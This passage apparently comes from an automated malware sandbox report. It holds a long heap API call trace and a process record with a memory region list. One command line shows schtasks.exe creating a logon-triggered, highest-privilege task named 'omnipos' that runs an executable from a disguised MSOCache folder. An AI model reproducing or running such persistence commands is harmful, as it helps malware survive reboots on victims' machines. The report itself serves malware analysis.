(HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c43a0) returned 1 [0114.556] GetProcessHeap () returned 0x1f1146c0000 [0114.556] GetProcessHeap () returned 0x1f1146c0000 [0114.556] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c8f80) returned 1 [0114.556] GetProcessHeap () returned 0x1f1146c0000 [0114.556] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c8f80) returned 0x20 [0114.556] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c8f80) returned 1 [0114.556] GetProcessHeap () returned 0x1f1146c0000 [0114.556] GetProcessHeap () returned 0x1f1146c0000 [0114.556] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4f20) returned 1 [0114.556] GetProcessHeap () returned 0x1f1146c0000 [0114.556] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4f20) returned 0x2 [0114.556] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4f20) returned 1 [0114.556] GetProcessHeap () returned 0x1f1146c0000 [0114.556] GetProcessHeap () returned 0x1f1146c0000 [0114.556] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4890) returned 1 [0114.556] GetProcessHeap () returned 0x1f1146c0000 [0114.556] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4890) returned 0x20 [0114.557] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4890) returned 1 [0114.557] GetProcessHeap () returned 0x1f1146c0000 [0114.557] GetProcessHeap () returned 0x1f1146c0000 [0114.557] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c48e0) returned 1 [0114.557] GetProcessHeap () returned 0x1f1146c0000 [0114.557] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c48e0) returned 0x20 [0114.557] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c48e0) returned 1 [0114.557] GetProcessHeap () returned 0x1f1146c0000 [0114.557] GetProcessHeap () returned 0x1f1146c0000 [0114.557] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4910) returned 1 [0114.557] GetProcessHeap () returned 0x1f1146c0000 [0114.557] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4910) returned 0x20 [0114.557] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4910) returned 1 [0114.558] GetProcessHeap () returned 0x1f1146c0000 [0114.558] GetProcessHeap () returned 0x1f1146c0000 [0114.558] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4480) returned 1 [0114.558] GetProcessHeap () returned 0x1f1146c0000 [0114.558] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4480) returned 0x20 [0114.558] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4480) returned 1 [0114.558] GetProcessHeap () returned 0x1f1146c0000 [0114.558] GetProcessHeap () returned 0x1f1146c0000 [0114.558] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb9a0) returned 1 [0114.558] GetProcessHeap () returned 0x1f1146c0000 [0114.558] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb9a0) returned 0x20 [0114.558] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb9a0) returned 1 [0114.558] GetProcessHeap () returned 0x1f1146c0000 [0114.558] GetProcessHeap () returned 0x1f1146c0000 [0114.558] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146ca990) returned 1 [0114.558] GetProcessHeap () returned 0x1f1146c0000 [0114.558] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146ca990) returned 0xe [0114.558] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146ca990) returned 1 [0114.559] GetProcessHeap () returned 0x1f1146c0000 [0114.559] GetProcessHeap () returned 0x1f1146c0000 [0114.559] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb970) returned 1 [0114.559] GetProcessHeap () returned 0x1f1146c0000 [0114.559] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb970) returned 0x20 [0114.559] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb970) returned 1 [0114.563] GetProcessHeap () returned 0x1f1146c0000 [0114.563] GetProcessHeap () returned 0x1f1146c0000 [0114.563] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c3970) returned 1 [0114.563] GetProcessHeap () returned 0x1f1146c0000 [0114.563] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c3970) returned 0x30 [0114.563] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c3970) returned 1 [0114.563] GetProcessHeap () returned 0x1f1146c0000 [0114.563] GetProcessHeap () returned 0x1f1146c0000 [0114.563] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb880) returned 1 [0114.563] GetProcessHeap () returned 0x1f1146c0000 [0114.563] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb880) returned 0x20 [0114.563] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb880) returned 1 [0114.564] GetProcessHeap () returned 0x1f1146c0000 [0114.564] GetProcessHeap () returned 0x1f1146c0000 [0114.564] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c3c40) returned 1 [0114.564] GetProcessHeap () returned 0x1f1146c0000 [0114.564] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c3c40) returned 0x30 [0114.564] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c3c40) returned 1 [0114.564] GetProcessHeap () returned 0x1f1146c0000 [0114.564] GetProcessHeap () returned 0x1f1146c0000 [0114.564] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb9d0) returned 1 [0114.564] GetProcessHeap () returned 0x1f1146c0000 [0114.564] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb9d0) returned 0x20 [0114.564] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb9d0) returned 1 [0114.564] GetProcessHeap () returned 0x1f1146c0000 [0114.564] GetProcessHeap () returned 0x1f1146c0000 [0114.564] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146caa70) returned 1 [0114.564] GetProcessHeap () returned 0x1f1146c0000 [0114.564] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146caa70) returned 0xe [0114.564] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146caa70) returned 1 [0114.565] GetProcessHeap () returned 0x1f1146c0000 [0114.565] GetProcessHeap () returned 0x1f1146c0000 [0114.565] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb6d0) returned 1 [0114.565] GetProcessHeap () returned 0x1f1146c0000 [0114.565] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb6d0) returned 0x20 [0114.565] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb6d0) returned 1 [0114.565] GetProcessHeap () returned 0x1f1146c0000 [0114.565] GetProcessHeap () returned 0x1f1146c0000 [0114.565] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146caa50) returned 1 [0114.565] GetProcessHeap () returned 0x1f1146c0000 [0114.565] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146caa50) returned 0x16 [0114.565] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146caa50) returned 1 [0114.565] GetProcessHeap () returned 0x1f1146c0000 [0114.565] GetProcessHeap () returned 0x1f1146c0000 [0114.565] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb5e0) returned 1 [0114.565] GetProcessHeap () returned 0x1f1146c0000 [0114.565] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb5e0) returned 0x20 [0114.566] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb5e0) returned 1 [0114.566] GetProcessHeap () returned 0x1f1146c0000 [0114.566] GetProcessHeap () returned 0x1f1146c0000 [0114.566] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146caa90) returned 1 [0114.566] GetProcessHeap () returned 0x1f1146c0000 [0114.566] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146caa90) returned 0x16 [0114.566] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146caa90) returned 1 [0114.566] GetProcessHeap () returned 0x1f1146c0000 [0114.566] GetProcessHeap () returned 0x1f1146c0000 [0114.566] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb3d0) returned 1 [0114.566] GetProcessHeap () returned 0x1f1146c0000 [0114.566] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb3d0) returned 0x20 [0114.566] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb3d0) returned 1 [0114.566] GetProcessHeap () returned 0x1f1146c0000 [0114.566] GetProcessHeap () returned 0x1f1146c0000 [0114.566] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146e5bf0) returned 1 [0114.566] GetProcessHeap () returned 0x1f1146c0000 [0114.566] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146e5bf0) returned 0x82 [0114.567] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146e5bf0) returned 1 [0114.567] GetProcessHeap () returned 0x1f1146c0000 [0114.567] GetProcessHeap () returned 0x1f1146c0000 [0114.567] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb7f0) returned 1 [0114.567] GetProcessHeap () returned 0x1f1146c0000 [0114.567] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb7f0) returned 0x20 [0114.567] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb7f0) returned 1 [0114.567] GetProcessHeap () returned 0x1f1146c0000 [0114.567] GetProcessHeap () returned 0x1f1146c0000 [0114.568] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146ca9f0) returned 1 [0114.568] GetProcessHeap () returned 0x1f1146c0000 [0114.568] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146ca9f0) returned 0xe [0114.568] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146ca9f0) returned 1 [0114.568] GetProcessHeap () returned 0x1f1146c0000 [0114.568] GetProcessHeap () returned 0x1f1146c0000 [0114.568] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cbb20) returned 1 [0114.568] GetProcessHeap () returned 0x1f1146c0000 [0114.568] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cbb20) returned 0x20 [0114.569] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cbb20) returned 1 [0114.569] GetProcessHeap () returned 0x1f1146c0000 [0114.569] GetProcessHeap () returned 0x1f1146c0000 [0114.569] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cabb0) returned 1 [0114.569] GetProcessHeap () returned 0x1f1146c0000 [0114.569] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cabb0) returned 0xa [0114.569] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cabb0) returned 1 [0114.569] GetProcessHeap () returned 0x1f1146c0000 [0114.569] GetProcessHeap () returned 0x1f1146c0000 [0114.569] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb4c0) returned 1 [0114.569] GetProcessHeap () returned 0x1f1146c0000 [0114.569] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb4c0) returned 0x20 [0114.570] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb4c0) returned 1 [0114.570] GetProcessHeap () returned 0x1f1146c0000 [0114.570] GetProcessHeap () returned 0x1f1146c0000 [0114.570] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146ca9d0) returned 1 [0114.570] GetProcessHeap () returned 0x1f1146c0000 [0114.570] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146ca9d0) returned 0xc [0114.570] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146ca9d0) returned 1 [0114.570] GetProcessHeap () returned 0x1f1146c0000 [0114.570] GetProcessHeap () returned 0x1f1146c0000 [0114.570] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb700) returned 1 [0114.570] GetProcessHeap () returned 0x1f1146c0000 [0114.570] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb700) returned 0x20 [0114.570] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb700) returned 1 [0114.571] GetProcessHeap () returned 0x1f1146c0000 [0114.571] GetProcessHeap () returned 0x1f1146c0000 [0114.571] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c48c0) returned 1 [0114.571] GetProcessHeap () returned 0x1f1146c0000 [0114.571] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c48c0) returned 0x18 [0114.571] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c48c0) returned 1 [0114.571] GetProcessHeap () returned 0x1f1146c0000 [0114.571] GetProcessHeap () returned 0x1f1146c0000 [0114.571] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c9160) returned 1 [0114.572] GetProcessHeap () returned 0x1f1146c0000 [0114.572] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c9160) returned 0x20 [0114.572] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c9160) returned 1 [0114.573] GetProcessHeap () returned 0x1f1146c0000 [0114.573] GetProcessHeap () returned 0x1f1146c0000 [0114.573] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c90d0) returned 1 [0114.573] GetProcessHeap () returned 0x1f1146c0000 [0114.573] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c90d0) returned 0x20 [0114.574] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c90d0) returned 1 [0114.574] GetProcessHeap () returned 0x1f1146c0000 [0114.574] GetProcessHeap () returned 0x1f1146c0000 [0114.574] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c9130) returned 1 [0114.574] GetProcessHeap () returned 0x1f1146c0000 [0114.574] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c9130) returned 0x20 [0114.575] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c9130) returned 1 [0114.583] GetProcessHeap () returned 0x1f1146c0000 [0114.583] GetProcessHeap () returned 0x1f1146c0000 [0114.583] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c9190) returned 1 [0114.583] GetProcessHeap () returned 0x1f1146c0000 [0114.583] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c9190) returned 0x20 [0114.584] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c9190) returned 1 [0114.584] GetProcessHeap () returned 0x1f1146c0000 [0114.584] GetProcessHeap () returned 0x1f1146c0000 [0114.584] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c44b0) returned 1 [0114.584] GetProcessHeap () returned 0x1f1146c0000 [0114.584] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c44b0) returned 0x18 [0114.584] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c44b0) returned 1 [0114.584] GetProcessHeap () returned 0x1f1146c0000 [0114.584] GetProcessHeap () returned 0x1f1146c0000 [0114.584] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c91c0) returned 1 [0114.585] GetProcessHeap () returned 0x1f1146c0000 [0114.585] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c91c0) returned 0x20 [0114.585] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c91c0) returned 1 [0114.585] GetProcessHeap () returned 0x1f1146c0000 [0114.585] GetProcessHeap () returned 0x1f1146c0000 [0114.585] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c8ec0) returned 1 [0114.586] GetProcessHeap () returned 0x1f1146c0000 [0114.586] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c8ec0) returned 0x20 [0114.586] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c8ec0) returned 1 [0114.586] GetProcessHeap () returned 0x1f1146c0000 [0114.586] GetProcessHeap () returned 0x1f1146c0000 [0114.586] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c8ef0) returned 1 [0114.586] GetProcessHeap () returned 0x1f1146c0000 [0114.586] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c8ef0) returned 0x20 [0114.587] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c8ef0) returned 1 [0114.587] GetProcessHeap () returned 0x1f1146c0000 [0114.587] GetProcessHeap () returned 0x1f1146c0000 [0114.587] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c8f20) returned 1 [0114.587] GetProcessHeap () returned 0x1f1146c0000 [0114.587] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c8f20) returned 0x20 [0114.588] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c8f20) returned 1 [0114.588] GetProcessHeap () returned 0x1f1146c0000 [0114.588] GetProcessHeap () returned 0x1f1146c0000 [0114.588] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c8fb0) returned 1 [0114.588] GetProcessHeap () returned 0x1f1146c0000 [0114.588] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c8fb0) returned 0x20 [0114.589] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c8fb0) returned 1 [0114.589] GetProcessHeap () returned 0x1f1146c0000 [0114.589] GetProcessHeap () returned 0x1f1146c0000 [0114.589] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c44d0) returned 1 [0114.589] GetProcessHeap () returned 0x1f1146c0000 [0114.589] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c44d0) returned 0x18 [0114.589] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c44d0) returned 1 [0114.589] GetProcessHeap () returned 0x1f1146c0000 [0114.589] GetProcessHeap () returned 0x1f1146c0000 [0114.589] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c91f0) returned 1 [0114.589] GetProcessHeap () returned 0x1f1146c0000 [0114.590] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c91f0) returned 0x20 [0114.590] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c91f0) returned 1 [0114.619] GetProcessHeap () returned 0x1f1146c0000 [0114.619] GetProcessHeap () returned 0x1f1146c0000 [0114.619] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4f00) returned 1 [0114.619] GetProcessHeap () returned 0x1f1146c0000 [0114.619] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4f00) returned 0x18 [0114.619] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4f00) returned 1 [0114.619] exit (_Code=0) Thread: id = 151 os_tid = 0x1114 Process: id = "15" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3d108000" os_pid = "0x8dc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"omnipos\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2804 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2805 start_va = 0xb30e2b0000 end_va = 0xb30e32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b30e2b0000" filename = "" Region: id = 2806 start_va = 0xb30e400000 end_va = 0xb30e5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b30e400000" filename = "" Region: id = 2807 start_va = 0x29464510000 end_va = 0x2946452ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000029464510000" filename = "" Region: id = 2808 start_va = 0x29464530000 end_va = 0x29464544fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000029464530000" filename = "" Region: id = 2809 start_va = 0x29464550000 end_va = 0x29464553fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000029464550000" filename = "" Region: id = 2810 start_va = 0x29464560000 end_va = 0x29464560fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000029464560000" filename = "" Region: id = 2811 start_va = 0x29464570000 end_va = 0x29464571fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000029464570000" filename = "" Region: id = 2812 start_va = 0x7df5ff390000 end_va = 0x7ff5ff38ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff390000" filename = "" Region: id = 2813 start_va = 0x7ff6846a0000 end_va = 0x7ff6846c2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6846a0000" filename = "" Region: id = 2814 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2815 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2816 start_va = 0x29464580000 end_va = 0x2946483ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000029464580000" filename = "" Region: id = 2817 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2818 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2819 start_va = 0x29464510000 end_va = 0x2946451ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000029464510000" filename = "" Region: id = 2820 start_va = 0x7ff6845a0000 end_va = 0x7ff68469ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6845a0000" filename = "" Region: id = 2821 start_va = 0x29464580000 end_va = 0x2946463dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2822 start_va = 0x29464740000 end_va = 0x2946483ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000029464740000" filename = "" Region: id = 2823 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2824 start_va = 0xb30e330000 end_va = 0xb30e3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b30e330000" filename = "" Region: id = 2825 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2826 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2827 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2828 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2829 start_va = 0x29464640000 end_va = 0x2946465ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000029464640000" filename = "" Region: id = 2830 start_va = 0x29464520000 end_va = 0x29464526fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000029464520000" filename = "" Region: id = 2831 start_va = 0x29464840000 end_va = 0x29464982fff monitored = 0 entry_point = 0x29464868210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2832 start_va = 0x29464640000 end_va = 0x29464646fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000029464640000" filename = "" Region: id = 2833 start_va = 0x29464650000 end_va = 0x2946465ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000029464650000" filename = "" Region: id = 2834 start_va = 0x29464660000 end_va = 0x29464672fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: 